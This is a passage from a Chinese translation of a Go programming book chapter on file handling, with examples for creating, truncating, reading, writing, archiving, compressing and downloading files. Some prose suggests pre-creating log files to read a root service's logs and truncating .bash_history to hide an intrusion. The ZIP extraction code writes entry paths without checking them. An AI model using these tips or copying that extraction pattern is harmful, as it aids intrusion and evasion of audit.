在下一章中,我们将学习如何在 Go 中处理文件。我们将涵盖一些基础内容,如获取文件信息、查看文件是否存在、截断文件、检查权限以及创建新文件。我们还将讲解读取器和写入器接口,以及多种读取和写入数据的方法。除此之外,我们还会涉及归档为 ZIP 或 TAR 文件以及使用 GZIP 压缩文件等内容。
第三章:文件操作
Unix 和 Linux 系统的一个显著特点是将所有内容都视为文件。进程、文件、目录、套接字、设备和管道都被视为文件。鉴于操作系统的这一基本特性,学习如何操作文件是一项关键技能。本章提供了几个不同的文件操作示例。
首先,我们将查看基础知识,即创建、截断、删除、打开、关闭、重命名和移动文件。我们还将查看如何获取有关文件的详细属性,例如权限和所有权、大小和符号链接信息。
本章的一个重要部分专门讨论了从文件中读取和写入数据的不同方式。有多个包含有用函数的包;此外,阅读器和写入器接口支持许多不同的选项,如缓冲读取器和写入器、直接读写、扫描器以及快速操作的辅助函数。
此外,还提供了有关归档和解档、压缩和解压缩、创建临时文件和目录以及通过 HTTP 下载文件的示例。
具体来说,本章将涵盖以下主题:
-
创建空文件和截断文件
-
获取详细的文件信息
-
重命名、移动和删除文件
-
修改权限、所有权和时间戳
-
符号链接
-
多种文件的读写方式
-
存档
-
压缩
-
临时文件和目录
-
通过 HTTP 下载文件
文件基础知识
因为文件是计算生态系统中不可或缺的一部分,了解在 Go 中处理文件的选项非常重要。本节涵盖了一些基本操作,如打开、关闭、创建和删除文件。此外,还涉及重命名、移动、检查文件是否存在、修改权限、所有权、时间戳以及处理符号链接。这些示例大多使用了一个硬编码的文件名test.txt。如果要操作其他文件,请更改此文件名。
创建空文件
在 Linux 中常用的一个工具是touch程序。当您需要快速创建具有特定名称的空文件时,经常会使用它。以下示例复制了touch的常见用例之一,即创建空文件。
创建空文件的用途有限,但我们可以考虑一个例子。如果有一个服务将日志写入一组旋转的文件。每天会创建一个带有当前日期的新文件,并将当天的日志写入该文件。开发者可能已经非常聪明地为日志文件设置了非常严格的权限,只允许管理员读取。但如果他们在目录上留下了松散的权限呢?如果你创建一个带有第二天日期的空文件会发生什么?服务可能只有在文件不存在时才会创建新文件,但如果文件已经存在,它会使用该文件,而不检查权限。你可以利用这一点,创建一个你有读取权限的空文件。这个文件应该以与服务命名日志文件相同的方式命名。例如,如果服务使用类似 logs-2018-01-30.txt 这样的格式来命名日志文件,你可以创建一个名为 logs-2018-01-31.txt 的空文件,第二天,服务将写入该文件,因为它已经存在,而你有读取权限,相比之下,如果没有文件存在,服务将创建一个只有 root 用户权限的新文件。
以下是这个示例的代码实现:
package main
import (
"log"
"os"
)
func main() {
newFile, err := os.Create("test.txt")
if err != nil {
log.Fatal(err)
}
log.Println(newFile)
newFile.Close()
}
截断文件
截断文件是指将文件修剪到最大长度。截断通常用于完全移除文件的所有内容,但也可以用于限制文件到特定的最大大小。os.Truncate() 的一个显著特点是,如果文件小于指定的截断限制,它实际上会增加文件的长度。它会用空字节填充任何空白空间。
截断文件比创建空文件有更多实际用途。当日志文件过大时,可以通过截断来节省磁盘空间。如果你在进行攻击,你可能希望截断 .bash_history 和其他日志文件,以掩盖你的痕迹。实际上,恶意行为者可能仅仅是为了销毁数据而截断文件。
package main
import (
"log"
"os"
)
func main() {
// Truncate a file to 100 bytes. If file
// is less than 100 bytes the original contents will remain
// at the beginning, and the rest of the space is
// filled will null bytes. If it is over 100 bytes,
// Everything past 100 bytes will be lost. Either way
// we will end up with exactly 100 bytes.
// Pass in 0 to truncate to a completely empty file
err := os.Truncate("test.txt", 100)
if err != nil {
log.Fatal(err)
}
}
获取文件信息
以下示例将打印出文件的所有元数据。它包括明显的属性,如文件名、大小、权限、最后修改时间以及是否是目录。它包含的最后一项数据是 FileInfo.Sys() 接口。该接口包含关于文件底层来源的信息,通常来源于硬盘上的文件系统:
package main
import (
"fmt"
"log"
"os"
)
func main() {
// Stat returns file info. It will return
// an error if there is no file.
fileInfo, err := os.Stat("test.txt")
if err != nil {
log.Fatal(err)
}
fmt.Println("File name:", fileInfo.Name())
fmt.Println("Size in bytes:", fileInfo.Size())
fmt.Println("Permissions:", fileInfo.Mode())
fmt.Println("Last modified:", fileInfo.ModTime())
fmt.Println("Is Directory: ", fileInfo.IsDir())
fmt.Printf("System interface type: %T\n", fileInfo.Sys())
fmt.Printf("System info: %+v\n\n", fileInfo.Sys())
}
重命名文件
标准库提供了一个方便的函数来移动文件。重命名和移动是同义词;如果你想将文件从一个目录移动到另一个目录,可以使用 os.Rename() 函数,如以下代码块所示:
package main
import (
"log"
"os"
)
func main() {
originalPath := "test.txt"
newPath := "test2.txt"
err := os.Rename(originalPath, newPath)
if err != nil {
log.Fatal(err)
}
}
删除文件
以下示例很简单,演示了如何删除一个文件。标准库提供了 os.Remove(),该函数接受一个文件路径:
package main
import (
"log"
"os"
)
func main() {
err := os.Remove("test.txt")
if err != nil {
log.Fatal(err)
}
}
打开和关闭文件
打开文件时,有几种选项。当调用os.Open()时,只需要文件名,并提供只读文件。另一个选项是使用os.OpenFile(),它需要更多的选项。你可以指定是只读文件、只写文件,还是可读写文件。你还可以选择在打开时进行追加、创建(如果文件不存在)或截断。通过逻辑“或”操作符结合所需选项。关闭文件是通过对文件对象调用Close()来完成的。你可以显式地关闭文件,或者你也可以延迟调用。有关defer关键字的更多细节,请参考第二章,Go 语言程序设计。下面的示例没有使用defer关键字选项,但后面的示例将会使用:
package main
import (
"log"
"os"
)
func main() {
// Simple read only open. We will cover actually reading
// and writing to files in examples further down the page
file, err := os.Open("test.txt")
if err != nil {
log.Fatal(err)
}
file.Close()
// OpenFile with more options. Last param is the permission mode
// Second param is the attributes when opening
file, err = os.OpenFile("test.txt", os.O_APPEND, 0666)
if err != nil {
log.Fatal(err)
}
file.Close()
// Use these attributes individually or combined
// with an OR for second arg of OpenFile()
// e.g. os.O_CREATE|os.O_APPEND
// or os.O_CREATE|os.O_TRUNC|os.O_WRONLY
// os.O_RDONLY // Read only
// os.O_WRONLY // Write only
// os.O_RDWR // Read and write
// os.O_APPEND // Append to end of file
// os.O_CREATE // Create is none exist
// os.O_TRUNC // Truncate file when opening
}
检查文件是否存在
检查文件是否存在是一个两步过程。首先,必须对文件调用os.Stat()以获取FileInfo。如果文件不存在,则不会返回FileInfo结构体,而是返回一个错误。os.Stat()可能会返回多种错误,因此必须检查错误类型。标准库提供了一个名为os.IsNotExist()的函数,它将检查错误是否因为文件不存在而导致。
如果文件不存在,下面的示例将调用log.Fatal(),但你可以优雅地处理错误并继续操作,而无需退出:
package main
import (
"log"
"os"
)
func main() {
// Stat returns file info. It will return
// an error if there is no file.
fileInfo, err := os.Stat("test.txt")
if err != nil {
if os.IsNotExist(err) {
log.Fatal("File does not exist.")
}
}
log.Println("File does exist. File information:")
log.Println(fileInfo)
}
检查读写权限
类似于前面的示例,检查读写权限是通过使用名为os.IsPermission()的函数来检查错误完成的。如果传递的错误是由于权限问题引起的,该函数将返回 true,以下例子展示了这一点:
package main
import (
"log"
"os"
)
func main() {
// Test write permissions. It is possible the file
// does not exist and that will return a different
// error that can be checked with os.IsNotExist(err)
file, err := os.OpenFile("test.txt", os.O_WRONLY, 0666)
if err != nil {
if os.IsPermission(err) {
log.Println("Error: Write permission denied.")
}
}
file.Close()
// Test read permissions
file, err = os.OpenFile("test.txt", os.O_RDONLY, 0666)
if err != nil {
if os.IsPermission(err) {
log.Println("Error: Read permission denied.")
}
}
file.Close()
}
更改权限、所有权和时间戳
如果你拥有文件或具有适当的权限,你可以更改所有权、时间戳和权限。标准库提供了一组函数,以下是这些函数:
-
os.Chmod() -
os.Chown() -
os.Chtimes()
以下示例演示了如何使用这些函数来更改文件的元数据:
package main
import (
"log"
"os"
"time"
)
func main() {
// Change permissions using Linux style
err := os.Chmod("test.txt", 0777)
if err != nil {
log.Println(err)
}
// Change ownership
err = os.Chown("test.txt", os.Getuid(), os.Getgid())
if err != nil {
log.Println(err)
}
// Change timestamps
twoDaysFromNow := time.Now().Add(48 * time.Hour)
lastAccessTime := twoDaysFromNow
lastModifyTime := twoDaysFromNow
err = os.Chtimes("test.txt", lastAccessTime, lastModifyTime)
if err != nil {
log.Println(err)
}
}
硬链接和符号链接
一个典型的文件只是硬盘上的一个指针,称为 inode。硬链接会创建指向相同位置的新指针。文件只有在所有指向它的链接被移除后,才会从磁盘中删除。硬链接仅在同一文件系统上有效。硬链接就是你可能认为的“正常”链接。
符号链接,或软链接,稍有不同,它不直接指向磁盘上的位置。符号链接仅通过名称引用其他文件。它们可以指向不同文件系统上的文件。然而,并非所有系统都支持符号链接。
Windows 历史上对符号链接的支持较差,但这些示例已在 Windows 10 Pro 上测试过,若拥有管理员权限,硬链接和符号链接均能正常工作。要以管理员身份从命令行执行 Go 程序,首先通过右键点击命令提示符并选择“以管理员身份运行”打开命令提示符。然后你就可以执行程序,符号链接和硬链接将按预期工作。
以下示例展示了如何创建硬链接和符号链接文件,以及如何判断一个文件是否是符号链接,并在不修改原始文件的情况下修改符号链接文件的元数据:
package main
import (
"fmt"
"log"
"os"
)
func main() {
// Create a hard link
// You will have two file names that point to the same contents
// Changing the contents of one will change the other
// Deleting/renaming one will not affect the other
err := os.Link("original.txt", "original_also.txt")
if err != nil {
log.Fatal(err)
}
fmt.Println("Creating symlink")
// Create a symlink
err = os.Symlink("original.txt", "original_sym.txt")
if err != nil {
log.Fatal(err)
}
// Lstat will return file info, but if it is actually
// a symlink, it will return info about the symlink.
// It will not follow the link and give information
// about the real file
// Symlinks do not work in Windows
fileInfo, err := os.Lstat("original_sym.txt")
if err != nil {
log.Fatal(err)
}
fmt.Printf("Link info: %+v", fileInfo)
// Change ownership of a symlink only
// and not the file it points to
err = os.Lchown("original_sym.txt", os.Getuid(), os.Getgid())
if err != nil {
log.Fatal(err)
}
}
读取和写入
读取和写入文件有很多种方法。Go 提供了接口,使得你可以轻松编写与文件或其他读取/写入接口一起工作的函数。
在os、io和ioutil包之间,你可以找到满足你需求的正确函数。这些示例涵盖了许多可用选项。
复制文件
以下示例使用io.Copy()函数将内容从一个读取器复制到另一个写入器:
package main
import (
"io"
"log"
"os"
)
func main() {
// Open original file
originalFile, err := os.Open("test.txt")
if err != nil {
log.Fatal(err)
}
defer originalFile.Close()
// Create new file
newFile, err := os.Create("test_copy.txt")
if err != nil {
log.Fatal(err)
}
defer newFile.Close()
// Copy the bytes to destination from source
bytesWritten, err := io.Copy(newFile, originalFile)
if err != nil {
log.Fatal(err)
}
log.Printf("Copied %d bytes.", bytesWritten)
// Commit the file contents
// Flushes memory to disk
err = newFile.Sync()
if err != nil {
log.Fatal(err)
}
}
在文件中寻址
Seek()函数用于将文件指针设置到特定位置。默认情况下,它从偏移量 0 开始,并随着读取字节向前移动。你可能想将指针重置回文件开头,或直接跳转到特定位置。Seek()函数可以实现这一功能。
Seek()函数接受两个参数。第一个参数是距离,表示你想将指针移动多少字节。如果传入正整数,指针会向前移动;如果传入负数,则指针会向后移动。第一个参数是相对值,而不是文件中的绝对位置。第二个参数指定相对位置的起始点,称为whence。whence参数是相对偏移的参考点。它可以是0、1或2,分别表示文件的开头、当前位置和文件的末尾。
举个例子,如果指定Seek(-1, 2),它会将文件指针从文件末尾向后移动一个字节。Seek(2, 0)会将文件指针移动到文件开头后的第二个字节,file.Seek(5, 1)会将指针从当前位移向前 5 个字节:
package main
import (
"fmt"
"log"
"os"
)
func main() {
file, _ := os.Open("test.txt")
defer file.Close()
// Offset is how many bytes to move
// Offset can be positive or negative
var offset int64 = 5
// Whence is the point of reference for offset
// 0 = Beginning of file
// 1 = Current position
// 2 = End of file
var whence int = 0
newPosition, err := file.Seek(offset, whence)
if err != nil {
log.Fatal(err)
}
fmt.Println("Just moved to 5:", newPosition)
// Go back 2 bytes from current position
newPosition, err = file.Seek(-2, 1)
if err != nil {
log.Fatal(err)
}
fmt.Println("Just moved back two:", newPosition)
// Find the current position by getting the
// return value from Seek after moving 0 bytes
currentPosition, err := file.Seek(0, 1)
fmt.Println("Current position:", currentPosition)
// Go to beginning of file
newPosition, err = file.Seek(0, 0)
if err != nil {
log.Fatal(err)
}
fmt.Println("Position after seeking 0,0:", newPosition)
}
写入字节到文件
你可以只使用os包来进行写操作,它本身就用于打开文件。由于 Go 程序是静态链接的二进制文件,导入的每个包都会增加可执行文件的大小。其他包如io、ioutil和bufio提供了一些额外的帮助,但它们不是必须的:
package main
import (
"log"
"os"
)
func main() {
// Open a new file for writing only
file, err := os.OpenFile(
"test.txt",
os.O_WRONLY|os.O_TRUNC|os.O_CREATE,
0666,
)
if err != nil {
log.Fatal(err)
}
defer file.Close()
// Write bytes to file
byteSlice := []byte("Bytes!\n")
bytesWritten, err := file.Write(byteSlice)
if err != nil {
log.Fatal(err)
}
log.Printf("Wrote %d bytes.\n", bytesWritten)
}
快速写入文件
ioutil包有一个非常有用的函数WriteFile(),可以处理创建/打开文件、写入字节切片并关闭文件。如果你只是需要快速将字节切片写入文件,这个函数非常方便:
package main
import (
"io/ioutil"
"log"
)
func main() {
err := ioutil.WriteFile("test.txt", []byte("Hi\n"), 0666)
if err != nil {
log.Fatal(err)
}
}
缓冲写入器
bufio 包允许你创建一个缓冲写入器,以便在将数据写入磁盘之前在内存中处理缓冲区。这在你需要在写入磁盘之前对数据进行大量操作时非常有用,可以节省磁盘 I/O 时间。如果你每次只写一个字节,并且希望在一次写入文件之前将大量数据存储在内存缓冲区中,那么它也很有用,否则你将为每个字节都进行磁盘 I/O 操作,这会导致磁盘磨损,并且会减慢过程。
可以检查缓冲写入器,查看它当前存储了多少未缓冲的数据,以及剩余多少缓冲区空间。缓冲区还可以重置,以撤销自上次刷新以来的所有更改。缓冲区的大小也可以调整。
以下示例打开名为 test.txt 的文件,并创建一个缓冲写入器来包装该文件对象。一些字节被写入缓冲区,然后写入一个字符串。在将缓冲区的内容刷新到磁盘上的文件之前,检查内存中的缓冲区。它还演示了如何重置缓冲区,撤销所有尚未刷新到磁盘的更改,以及如何检查缓冲区中剩余的空间。最后,它展示了如何将缓冲区调整为特定大小:
package main
import (
"bufio"
"log"
"os"
)
func main() {
// Open file for writing
file, err := os.OpenFile("test.txt", os.O_WRONLY, 0666)
if err != nil {
log.Fatal(err)
}
defer file.Close()
// Create a buffered writer from the file
bufferedWriter := bufio.NewWriter(file)
// Write bytes to buffer
bytesWritten, err := bufferedWriter.Write(
[]byte{65, 66, 67},
)
if err != nil {
log.Fatal(err)
}
log.Printf("Bytes written: %d\n", bytesWritten)
// Write string to buffer
// Also available are WriteRune() and WriteByte()
bytesWritten, err = bufferedWriter.WriteString(
"Buffered string\n",
)
if err != nil {
log.Fatal(err)
}
log.Printf("Bytes written: %d\n", bytesWritten)
// Check how much is stored in buffer waiting
unflushedBufferSize := bufferedWriter.Buffered()
log.Printf("Bytes buffered: %d\n", unflushedBufferSize)
// See how much buffer is available
bytesAvailable := bufferedWriter.Available()
if err != nil {
log.Fatal(err)
}
log.Printf("Available buffer: %d\n", bytesAvailable)
// Write memory buffer to disk
bufferedWriter.Flush()
// Revert any changes done to buffer that have
// not yet been written to file with Flush()
// We just flushed, so there are no changes to revert
// The writer that you pass as an argument
// is where the buffer will output to, if you want
// to change to a new writer
bufferedWriter.Reset(bufferedWriter)
// See how much buffer is available
bytesAvailable = bufferedWriter.Available()
if err != nil {
log.Fatal(err)
}
log.Printf("Available buffer: %d\n", bytesAvailable)
// Resize buffer. The first argument is a writer
// where the buffer should output to. In this case
// we are using the same buffer. If we chose a number
// that was smaller than the existing buffer, like 10
// we would not get back a buffer of size 10, we will
// get back a buffer the size of the original since
// it was already large enough (default 4096)
bufferedWriter = bufio.NewWriterSize(
bufferedWriter,
8000,
)
// Check available buffer size after resizing
bytesAvailable = bufferedWriter.Available()
if err != nil {
log.Fatal(err)
}
log.Printf("Available buffer: %d\n", bytesAvailable)
}
从文件中读取最多 n 字节
os.File 类型包含一些基本函数,其中之一是 File.Read()。Read() 函数期望传入一个字节切片作为参数。字节会从文件中读取并放入字节切片中。Read() 会尽可能多地读取字节,直到缓冲区填满为止,然后停止读取。
根据提供的缓冲区大小和文件的大小,可能需要多次调用 Read() 才能读取完整个文件。如果在调用 Read() 时到达文件末尾,将返回 io.EOF 错误:
package main
import (
"log"
"os"
)
func main() {
// Open file for reading
file, err := os.Open("test.txt")
if err != nil {
log.Fatal(err)
}
defer file.Close()
// Read up to len(b) bytes from the File
// Zero bytes written means end of file
// End of file returns error type io.EOF
byteSlice := make([]byte, 16)
bytesRead, err := file.Read(byteSlice)
if err != nil {
log.Fatal(err)
}
log.Printf("Number of bytes read: %d\n", bytesRead)
log.Printf("Data read: %s\n", byteSlice)
}
精确读取 n 字节
在前面的示例中,如果文件仅包含 10 个字节,而你提供了一个大小为 500 字节的字节切片缓冲区,File.Read() 不会返回错误。某些情况下,你可能希望确保整个缓冲区都被填满。io.ReadFull() 函数将返回错误,如果缓冲区没有被填满。如果 io.ReadFull() 没有任何数据可以读取,将返回 EOF 错误;如果读取了一些数据,但随后遇到 EOF,它将返回 ErrUnexpectedEOF 错误:
package main
import (
"io"
"log"
"os"
)
func main() {
// Open file for reading
file, err := os.Open("test.txt")
if err != nil {
log.Fatal(err)
}
// The file.Read() function will happily read a tiny file in to a
// large byte slice, but io.ReadFull() will return an
// error if the file is smaller than the byte slice.
byteSlice := make([]byte, 2)
numBytesRead, err := io.ReadFull(file, byteSlice)
if err != nil {
log.Fatal(err)
}
log.Printf("Number of bytes read: %d\n", numBytesRead)
log.Printf("Data read: %s\n", byteSlice)
}
至少读取 n 字节
io 包提供的另一个有用函数是 io.ReadAtLeast()。如果没有读取到指定数量的字节,它将返回一个错误。与 io.ReadFull() 类似,如果没有读取到数据,将返回 EOF 错误;如果读取到一些数据,但遇到文件末尾,则会返回 ErrUnexpectedEOF 错误:
package main
import (
"io"
"log"
"os"
)
func main() {
// Open file for reading
file, err := os.Open("test.txt")
if err != nil {
log.Fatal(err)
}
byteSlice := make([]byte, 512)
minBytes := 8
// io.ReadAtLeast() will return an error if it cannot
// find at least minBytes to read. It will read as
// many bytes as byteSlice can hold.
numBytesRead, err := io.ReadAtLeast(file, byteSlice, minBytes)
if err != nil {
log.Fatal(err)
}
log.Printf("Number of bytes read: %d\n", numBytesRead)
log.Printf("Data read: %s\n", byteSlice)
}
读取文件的所有字节
ioutil包提供了一个函数来读取文件中的每个字节,并将其返回为字节切片。这个函数很方便,因为在读取之前你不需要定义字节切片。缺点是,如果文件非常大,它会返回一个可能比预期还大的字节切片。
io.ReadAll()函数期望一个已经通过os.Open()或Create()打开的文件:
package main
import (
"fmt"
"io/ioutil"
"log"
"os"
)
func main() {
// Open file for reading
file, err := os.Open("test.txt")
if err != nil {
log.Fatal(err)
}
// os.File.Read(), io.ReadFull(), and
// io.ReadAtLeast() all work with a fixed
// byte slice that you make before you read
// ioutil.ReadAll() will read every byte
// from the reader (in this case a file),
// and return a slice of unknown slice
data, err := ioutil.ReadAll(file)
if err != nil {
log.Fatal(err)
}
fmt.Printf("Data as hex: %x\n", data)
fmt.Printf("Data as string: %s\n", data)
fmt.Println("Number of bytes read:", len(data))
}
快速将整个文件读取到内存
类似于前面示例中的io.ReadAll()函数,io.ReadFile()将读取文件中的所有字节并返回一个字节切片。这两者之间的主要区别是,io.ReadFile()期望的是文件路径,而不是已经打开的文件对象。io.ReadFile()函数将负责打开、读取和关闭文件。你只需提供文件名,它就会提供字节数据。这通常是加载文件数据最快且最简便的方法。
尽管这种方法非常方便,但它有一定的局限性;因为它将整个文件直接读取到内存中,过大的文件可能会超出系统的内存限制:
package main
import (
"io/ioutil"
"log"
)
func main() {
// Read file to byte slice
data, err := ioutil.ReadFile("test.txt")
if err != nil {
log.Fatal(err)
}
log.Printf("Data read: %s\n", data)
}
缓冲区读取器
创建一个缓冲区读取器将会存储一个内存缓冲区,其中包含一些内容。缓冲区读取器还提供一些在os.File或io.Reader类型中不可用的功能。默认缓冲区大小为 4096,最小大小为 16。缓冲区读取器提供了一组有用的函数,包括但不限于以下功能:
-
Read():用于将数据读取到字节切片中 -
Peek():用于查看下一个字节,而不移动文件指针 -
ReadByte():用于读取单个字节 -
UnreadByte():取消读取上一个读取的字节 -
ReadBytes():读取字节直到达到指定的分隔符 -
ReadString():读取字符串直到遇到指定的分隔符
以下示例演示了如何使用缓冲区读取器从文件中获取数据。首先,它打开一个文件,然后创建一个包装该文件对象的缓冲区读取器。一旦缓冲区读取器准备好后,接下来展示如何使用前述函数:
package main
import (
"bufio"
"fmt"
"log"
"os"
)
func main() {
// Open file and create a buffered reader on top
file, err := os.Open("test.txt")
if err != nil {
log.Fatal(err)
}
bufferedReader := bufio.NewReader(file)
// Get bytes without advancing pointer
byteSlice := make([]byte, 5)
byteSlice, err = bufferedReader.Peek(5)
if err != nil {
log.Fatal(err)
}
fmt.Printf("Peeked at 5 bytes: %s\n", byteSlice)
// Read and advance pointer
numBytesRead, err := bufferedReader.Read(byteSlice)
if err != nil {
log.Fatal(err)
}
fmt.Printf("Read %d bytes: %s\n", numBytesRead, byteSlice)
// Ready 1 byte. Error if no byte to read
myByte, err := bufferedReader.ReadByte()
if err != nil {
log.Fatal(err)
}
fmt.Printf("Read 1 byte: %c\n", myByte)
// Read up to and including delimiter
// Returns byte slice
dataBytes, err := bufferedReader.ReadBytes('\n')
if err != nil {
log.Fatal(err)
}
fmt.Printf("Read bytes: %s\n", dataBytes)
// Read up to and including delimiter
// Returns string
dataString, err := bufferedReader.ReadString('\n')
if err != nil {
log.Fatal(err)
}
fmt.Printf("Read string: %s\n", dataString)
// This example reads a few lines so test.txt
// should have a few lines of text to work correct
}
使用扫描器进行读取
扫描器是bufio包的一部分。它对于按特定分隔符逐步读取文件非常有用。通常,换行符被用作分隔符来按行分割文件。在 CSV 文件中,逗号会作为分隔符。os.File对象可以像缓冲区读取器一样被包装在bufio.Scanner对象中。我们将调用Scan()方法读取到下一个分隔符,然后使用Text()或Bytes()获取读取的数据。
分隔符不仅仅是一个简单的字节或字符。实际上,存在一个特殊的函数,你需要实现它,该函数将决定下一个分隔符的位置,指针应该向前推进多少,并返回哪些数据。如果未提供自定义的SplitFunc类型,它默认为ScanLines,将在每个换行符处分割。bufio中还包含其他分割函数,如ScanRunes和ScanWords。
要定义自己的分割函数,定义一个与此指纹匹配的函数:
type SplitFuncfunc(data []byte, atEOF bool) (advance int, token []byte,
err error)
返回(0,nil,nil)将告诉扫描器重新扫描,但需要更大的缓冲区,因为当前数据不足以达到分隔符。
在以下示例中,从文件创建了bufio.Scanner,然后按单词扫描文件:
package main
import (
"bufio"
"fmt"
"log"
"os"
)
func main() {
// Open file and create scanner on top of it
file, err := os.Open("test.txt")
if err != nil {
log.Fatal(err)
}
scanner := bufio.NewScanner(file)
// Default scanner is bufio.ScanLines. Lets use ScanWords.
// Could also use a custom function of SplitFunc type
scanner.Split(bufio.ScanWords)
// Scan for next token.
success := scanner.Scan()
if success == false {
// False on error or EOF. Check error
err = scanner.Err()
if err == nil {
log.Println("Scan completed and reached EOF")
} else {
log.Fatal(err)
}
}
// Get data from scan with Bytes() or Text()
fmt.Println("First word found:", scanner.Text())
// Call scanner.Scan() manually, or loop with for
for scanner.Scan() {
fmt.Println(scanner.Text())
}
}
归档
归档是一种存储多个文件的文件格式。最常见的两种归档格式是 tar 包和 ZIP 归档。Go 标准库同时支持tar和zip包。这些示例使用 ZIP 格式,但 tar 格式可以轻松互换。
归档(ZIP)文件
以下示例演示了如何创建一个包含多个文件的归档文件。示例中的文件是硬编码的,仅包含几个字节,但应该可以轻松适应其他需求:
// This example uses zip but standard library
// also supports tar archives
package main
import (
"archive/zip"
"log"
"os"
)
func main() {
// Create a file to write the archive buffer to
// Could also use an in memory buffer.
outFile, err := os.Create("test.zip")
if err != nil {
log.Fatal(err)
}
defer outFile.Close()
// Create a zip writer on top of the file writer
zipWriter := zip.NewWriter(outFile)
// Add files to archive
// We use some hard coded data to demonstrate,
// but you could iterate through all the files
// in a directory and pass the name and contents
// of each file, or you can take data from your
// program and write it write in to the archive without
var filesToArchive = []struct {
Name, Body string
}{
{"test.txt", "String contents of file"},
{"test2.txt", "\x61\x62\x63\n"},
}
// Create and write files to the archive, which in turn
// are getting written to the underlying writer to the
// .zip file we created at the beginning
for _, file := range filesToArchive {
fileWriter, err := zipWriter.Create(file.Name)
if err != nil {
log.Fatal(err)
}
_, err = fileWriter.Write([]byte(file.Body))
if err != nil {
log.Fatal(err)
}
}
// Clean up
err = zipWriter.Close()
if err != nil {
log.Fatal(err)
}
}
提取(解压)归档文件
以下示例演示了如何解压 ZIP 格式的文件。它会通过创建必要的目录来复制归档文件中的目录结构:
// This example uses zip but standard library
// also supports tar archives
package main
import (
"archive/zip"
"io"
"log"
"os"
"path/filepath"
)
func main() {
// Create a reader out of the zip archive
zipReader, err := zip.OpenReader("test.zip")
if err != nil {
log.Fatal(err)
}
defer zipReader.Close()
// Iterate through each file/dir found in
for _, file := range zipReader.Reader.File {
// Open the file inside the zip archive
// like a normal file
zippedFile, err := file.Open()
if err != nil {
log.Fatal(err)
}
defer zippedFile.Close()
// Specify what the extracted file name should be.
// You can specify a full path or a prefix
// to move it to a different directory.
// In this case, we will extract the file from
// the zip to a file of the same name.
targetDir := "./"
extractedFilePath := filepath.Join(
targetDir,
file.Name,
)
// Extract the item (or create directory)
if file.FileInfo().IsDir() {
// Create directories to recreate directory
// structure inside the zip archive. Also
// preserves permissions
log.Println("Creating directory:", extractedFilePath)
os.MkdirAll(extractedFilePath, file.Mode())
} else {
// Extract regular file since not a directory
log.Println("Extracting file:", file.Name)
// Open an output file for writing
outputFile, err := os.OpenFile(
extractedFilePath,
os.O_WRONLY|os.O_CREATE|os.O_TRUNC,
file.Mode(),
)
if err != nil {
log.Fatal(err)
}
defer outputFile.Close()
// "Extract" the file by copying zipped file
// contents to the output file
_, err = io.Copy(outputFile, zippedFile)
if err != nil {
log.Fatal(err)
}
}
}
}
压缩
Go 标准库还支持压缩功能,这与归档不同。通常,归档和压缩是结合使用的,用来将大量文件打包成一个单一的紧凑文件。最常见的格式可能是.tar.gz文件,它是一个 gzip 压缩的 tar 包。不要将 zip 和 gzip 混淆,它们是两种不同的东西。
Go 标准库支持多种压缩算法:
-
bzip2:bzip2 格式
-
flate:DEFLATE(RFC 1951)
-
gzip:gzip 格式(RFC 1952)
-
lzw:Lempel-Ziv-Welch 格式,出自 A Technique for High-Performance Data Compression, Computer, 17(6) (1984 年 6 月),第 8-19 页
-
zlib:zlib 格式(RFC 1950)
了解更多关于每个包的内容,请访问 golang.org/pkg/compress/。这些示例使用 gzip 压缩,但应该很容易将上述任何包互换使用。
压缩文件
以下示例演示了如何使用gzip包压缩文件:
// This example uses gzip but standard library also
// supports zlib, bz2, flate, and lzw
package main
import (
"compress/gzip"
"log"
"os"
)
func main() {
// Create .gz file to write to
outputFile, err := os.Create("test.txt.gz")
if err != nil {
log.Fatal(err)
}
// Create a gzip writer on top of file writer
gzipWriter := gzip.NewWriter(outputFile)
defer gzipWriter.Close()
// When we write to the gzip writer
// it will in turn compress the contents
// and then write it to the underlying
// file writer as well
// We don't have to worry about how all
// the compression works since we just
// use it as a simple writer interface
// that we send bytes to
_, err = gzipWriter.Write([]byte("Gophers rule!\n"))
if err != nil {
log.Fatal(err)
}
log.Println("Compressed data written to file.")
}
解压文件
以下示例演示了如何使用gzip算法解压文件:
// This example uses gzip but standard library also
// supports zlib, bz2, flate, and lzw
package main
import (
"compress/gzip"
"io"
"log"
"os"
)
func main() {
// Open gzip file that we want to uncompress
// The file is a reader, but we could use any
// data source. It is common for web servers
// to return gzipped contents to save bandwidth
// and in that case the data is not in a file
// on the file system but is in a memory buffer
gzipFile, err := os.Open("test.txt.gz")
if err != nil {
log.Fatal(err)
}
// Create a gzip reader on top of the file reader
// Again, it could be any type reader though
gzipReader, err := gzip.NewReader(gzipFile)
if err != nil {
log.Fatal(err)
}
defer gzipReader.Close()
// Uncompress to a writer. We'll use a file writer
outfileWriter, err := os.Create("unzipped.txt")
if err != nil {
log.Fatal(err)
}
defer outfileWriter.Close()
// Copy contents of gzipped file to output file
_, err = io.Copy(outfileWriter, gzipReader)
if err != nil {
log.Fatal(err)
}
}
在结束本章关于文件操作的内容之前,让我们看两个可能有用的实际示例。临时文件和目录在你不想创建永久文件,但又需要一个文件进行操作时非常有用。此外,获取文件的常见方式是通过互联网下载。以下示例展示了这些操作。
创建临时文件和目录
ioutil 包提供了两个函数:TempDir() 和 TempFile()。调用者有责任在使用完毕后删除临时文件。这些函数提供的唯一好处是你可以传递一个空字符串作为目录,它会自动在系统的默认临时文件夹中创建该文件(在 Linux 上是 /tmp),因为 os.TempDir() 函数将返回默认的系统临时目录:
package main
import (
"fmt"
"io/ioutil"
"log"
"os"
)
func main() {
// Create a temp dir in the system default temp folder
tempDirPath, err := ioutil.TempDir("", "myTempDir")
if err != nil {
log.Fatal(err)
}
fmt.Println("Temp dir created:", tempDirPath)
// Create a file in new temp directory
tempFile, err := ioutil.TempFile(tempDirPath, "myTempFile.txt")
if err != nil {
log.Fatal(err)
}
fmt.Println("Temp file created:", tempFile.Name())
// ... do something with temp file/dir ...
// Close file
err = tempFile.Close()
if err != nil {
log.Fatal(err)
}
// Delete the resources we created
err = os.Remove(tempFile.Name())
if err != nil {
log.Fatal(err)
}
err = os.Remove(tempDirPath)
if err != nil {
log.Fatal(err)
}
}
通过 HTTP 下载文件
现代计算中的一个常见任务是通过 HTTP 协议下载文件。以下示例展示了如何快速下载一个特定 URL 到文件。
其他常见的完成此任务的工具包括curl和wget:
package main
import (
"io"
"log"
"net/http"
"os"
)
func main() {
// Create output file
newFile, err := os.Create("devdungeon.html")
if err != nil {
log.Fatal(err)
}
defer newFile.Close()
// HTTP GET request devdungeon.com
url := "http://www.devdungeon.com/archive"
response, err := http.Get(url)
